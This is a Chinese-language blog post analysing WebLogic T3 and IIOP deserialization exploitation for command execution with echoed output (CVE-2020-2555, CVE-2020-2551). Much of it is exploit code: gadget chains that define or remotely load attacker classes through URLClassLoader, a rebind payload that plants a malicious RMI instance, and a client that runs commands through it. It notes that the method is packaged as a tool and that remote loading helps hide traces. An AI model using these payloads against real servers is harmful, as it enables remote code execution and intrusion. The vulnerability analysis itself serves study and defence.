weblogic T3/iiop 回顯分析


感謝大佬關注公眾號,不勝感激

powered by UnicodeSec

簡介

傳統weblogic T3協議回顯分析

這里主要分析 https://github.com/5up3rc/weblogic_cmd這個工具回顯利用工具。

    private static Transformer[] defineAndLoadPayloadTransformerChain(String className, byte[] clsData, String[] bootArgs) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(DefiningClassLoader.class),
                new InvokerTransformer("getDeclaredConstructor", new Class[]{Class[].class}, new Object[]{new Class[0]}),
                new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[0]}),
                new InvokerTransformer("defineClass",
                        new Class[]{String.class, byte[].class}, new Object[]{className, clsData}),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"main", new Class[]{String[].class}}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{bootArgs}}),
                new ConstantTransformer(new HashSet())};
        return transformers;
    }

通過common-collection相關gadget,想辦法調用org.mozilla.classfile.DefiningClassLoader這個類去加載字節碼。然后通過T3協議的反序列化漏洞發送給待攻擊weblogic服務器。並綁定一個實例。
org.mozilla.classfile.DefiningClassLoader的定義如下

public Class defineClass(String var1, byte[] var2) {    return super.defineClass(var1, var2, 0, var2.length);}

這樣就實現從字節碼到類的轉變。而我們需要發送的惡意類,主要作用是綁定一個實例,完成攻擊者與weblogic的rmi交互即可。惡意類的綁定實例代碼如下

            RemoteImpl remote = new RemoteImpl();

            Context ctx = new InitialContext();
            ctx.rebind("aaaaaaaa", remote);
            System.out.println("installed");

RemoteImpl一定要繼承自ClusterMasterRemote這個接口,才可以完成rmi交互。

下面我們向 weblogic12.1.4 發送一下payload測試一下

可以看出,weblogic早就通過黑名單過濾的方式,禁止該類工具的攻擊。下面我們分析一下T3反序列化漏洞

T3反序列化分析

weblogic首先在moudle/com.oracle.weblogic.kernel.jar中 的ExexuteThread.class的run函數中監聽7001的連接,並調用execute方法去處理請求,也就是req,如圖

this.execute的代碼如下

void execute(ExecuteRequest er) {
        ++this.executeCount;
        this.setTimeStamp(System.currentTimeMillis());
        er.execute(this);
    } catch (ThreadDeath var3) {
// 各種捕獲異常
}

ExexuteThread中的executeCount為請求總數,隨后調用erexecute去處理。也就是包裝請求的類,這里為SocketReaderRequestSocketReaderRequest主要為獲取muter,然后調用processSockets去處理請求。
這里主要是通過Nio去處理請求,寫入請求等,與漏洞分析的關系不太大。在這里將會根據請求,調用相應的協議處理請求,例如T3,http等

最后在SocketMuxerreadReadySocketOnce中,將請求全部讀取完后,調用weblogic.rjvm.t3.MuxableSocketT3@7ec904fc:Socket[addr=/127.0.0.1,port=57524,localport=7001]dispatch去處理分發請求。
最后會調用readObject去讀取請求。如圖

serverChannelInputStreamresolvClass中,會對待反序列化的類檢查一下是否為weblogic黑名單中的類,並防止該類反序列化。這里就是傳說中的weblogic反序列化黑名單。

黑名單列表主要如下,相關代碼位置在wlclient.jar/weblogic/utils/io/oif/WeblogicIbjectInputFilter.class

classloader 加載器

即使我們使用其他gadget繞過,結果還是會報錯,報錯截圖如下

說明weblogic 12.1.4 已經無法使用該類。但是現實情況下,我們又不可能直接上傳一個文件,或者說為了執行無文件加載,以便更好隱藏痕跡。所以,這里我用URLClassLoader這個類,去加載遠程jar包。當然,也算是無文件落地。代碼截圖如下

改成gadget利用方式代碼如下。該gadget目標是觸發待加載類的綁定功能,也就是test函數

        ChainedExtractor chainedExtractor = new ChainedExtractor(new ReflectionExtractor[]{
                new ReflectionExtractor(
                        "getConstructor",
                        new Object[]{new Class[]{URL[].class}}
                ),
                new ReflectionExtractor(
                        "newInstance",
                        new Object[]{new Object[]{new URL[]{new URL(remoteClassPath)}}}
                ),
                new ReflectionExtractor(
                        "loadClass",
                        new Object[]{className}
                ),
                new ReflectionExtractor(
                        "getMethod",
                        new Object[]{"test", new Class[]{}}
                ), new ReflectionExtractor(
                "invoke",
                new Object[]{null, new Object[]{}}
        )
        });

結論

  1. T3協議的傳輸主要基於java反序列化
  2. T3協議中,如果待反序列化中的任意一個類在黑名單列表,反序列化都會終止,並拋出異常

所以,我們想要在新版本weblogic實現回顯,就有如下兩個思路

  1. 可以繞過黑名單的gadget 例如cve-2020-2555
  2. 新的反序列化途徑,根本就沒有黑名單過濾,例如cve-2020-2551

T3回顯方案(cve-2020-2555)

既然上面已經分析了,T3的話,我們可以使用cve-2020-2555的gadget去實現相關功能,最終觸發惡意類的綁定函數,成功綁定一個實例,並可以實現執行命令,如圖,

查看jndi綁定樹

不足之處

該gadget無法在weblogic 10.3.6 下使用,因為找不到相關gadget的類,如圖

IIop 回顯方案(cve-2020-2551)

通過之前的分析,我們可以得出結論,weblogic的iiop反序列化不會使用weblogic黑名單。所以,通過iiop的反序列化漏洞+common-collection相關gadget可以實現通用版本的回顯方案。這里需要注意,單純在攻擊端執行bind觸發漏洞,是不會綁定一個實例的。即使綁定成功,也無法遠程調用的。java反序列化不會傳遞類的代碼和結構,只會傳輸類中的變量。所以這也就是我們為什么需要classloader的原因。

IIOP綁定實例

首先創建一個iiiop的context

        String rhost = converUrl(host, port);
        Hashtable<String, String> env = new Hashtable<>();
        // add wlsserver/server/lib/weblogic.jar to classpath,else will error.
        env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");
        env.put("java.naming.provider.url", rhost);
        return new InitialContext(env);

然后構造2555或者common-collection的gadget,然后調用context的rebind發送反序列化對象,主要是調用惡意類的bind功能,惡意類的代碼如下

gadget如下

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
        field.setAccessible(true);
        field.set(badAttributeValueExpException, limitFilter);
        System.out.println("CVE-2020-2555 Gadget構造成功,正在發送中...");
        context.rebind("UnicodeSec" + System.nanoTime(), badAttributeValueExpException);

執行成功后如下

當然這個是無回顯的,所以我們需要獲取遠程對象,檢查是否已經綁定成功。所以通過如下代碼檢測

        try {
            System.out.println("檢查是否安裝rmi實例");
            Context initialContext = getInitialContext(converUrl(host, port));
            ClusterMasterRemote remoteCode = (ClusterMasterRemote) initialContext.lookup(bindName);
            return remoteCode;
        } catch (Exception e) {
            if (e.getMessage() != null && e.getMessage().contains(bindName)) {
                System.out.println("rmi實例不存在...正在安裝中");

IIOP 執行命令代碼

綁定成功后,首先要獲取剛才綁定的惡意類,綁定名稱aaaaaaaa,通過 initialContext.lookup函數查找。查找成功后,通過下面代碼實現命令執行以及回顯

        String commandResponse = remoteCode.getServerLocation("showmecode" + command);
        System.out.println("命令結果如下");
        System.out.println(commandResponse);

惡意類的getServerLocation如下

當然上述操作已經打包成工具,執行如下

參考:

  1. https://xz.aliyun.com/t/7393
  2. https://github.com/5up3rc/weblogic_cmd


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM